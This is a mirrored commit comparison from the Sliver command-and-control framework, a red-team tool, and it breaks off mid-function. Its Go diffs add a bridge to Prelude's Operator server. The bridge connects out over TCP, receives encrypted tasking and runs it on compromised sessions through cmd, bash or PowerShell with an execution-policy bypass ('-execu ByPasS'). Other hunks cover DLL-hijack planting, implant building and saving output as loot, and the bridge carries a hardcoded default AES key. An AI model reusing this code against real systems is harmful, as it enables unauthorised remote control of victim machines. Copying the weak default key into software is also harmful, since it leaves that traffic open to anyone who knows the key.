mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
32
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d1135d1d68 | ||
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
d337d4f13c | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 |
No files matched your search
@@ -52,6 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/macros"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/operator"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
"github.com/bishopfox/sliver/client/command/pivots"
|
||||
"github.com/bishopfox/sliver/client/command/portfwd"
|
||||
@@ -550,6 +551,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2341,4 +2345,39 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(extensionCmd)
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.OperatorStr,
|
||||
Help: "Manage connection to Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.OperatorCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
operatorCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ConnectStr,
|
||||
Help: "Connect with Prelude's Operator",
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
operator.ConnectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
f.String("a", "aes-key", "", "AES key for communication encryption")
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
}
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
|
||||
@@ -36,15 +36,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
@@ -52,22 +59,35 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
if exec.Result != "" {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Output:\n%s\n", exec.Result)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
|
||||
if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
|
||||
@@ -82,31 +82,6 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
url := ctx.Args.String("connection-string")
|
||||
aesKey := ctx.Flags.String("aes-key")
|
||||
agentRange := ctx.Flags.String("range")
|
||||
skipExisting := ctx.Flags.Bool("skip-existing")
|
||||
|
||||
config := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: url,
|
||||
RPC: con.Rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessMapper := prelude.InitSessionMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get session list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, sess := range sessions.Sessions {
|
||||
err = sessMapper.AddSession(sess)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
}
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -187,6 +188,13 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
}
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
@@ -203,6 +211,13 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator\n", session.Name)
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
|
||||
|
||||
@@ -213,6 +213,8 @@ const (
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
OperatorStr = "operator"
|
||||
ConnectStr = "connect"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -0,0 +1,132 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
//TODO handle link.payloadPath
|
||||
payloadPath := ""
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "config":
|
||||
// return updateConfiguration(task[1], agent)
|
||||
// case "shell":
|
||||
// return pty.SpawnShell(task[1], agent)
|
||||
case "exit":
|
||||
return shutdown(agent, rpc, session)
|
||||
default:
|
||||
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agent, rpc, session)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
}
|
||||
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
|
||||
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
}
|
||||
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
}
|
||||
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), 1, 0
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embeded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: 3,
|
||||
}
|
||||
|
||||
encryptionKey := aesDefaultKey
|
||||
if p.conf.AESKey != "" {
|
||||
encryptionKey = p.conf.AESKey
|
||||
}
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package util
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
bufLen := len(buf)
|
||||
padLen := size - bufLen%size
|
||||
padded := make([]byte, bufLen+padLen)
|
||||
copy(padded, buf)
|
||||
for i := 0; i < padLen; i++ {
|
||||
padded[bufLen+i] = byte(padLen)
|
||||
}
|
||||
return padded, nil
|
||||
}
|
||||
|
||||
func unpad(padded []byte, size int) ([]byte, error) {
|
||||
if len(padded)%size != 0 {
|
||||
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
|
||||
}
|
||||
bufLen := len(padded) - int(padded[len(padded)-1])
|
||||
buf := make([]byte, bufLen)
|
||||
copy(buf, padded[:bufLen])
|
||||
return buf, nil
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package util
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
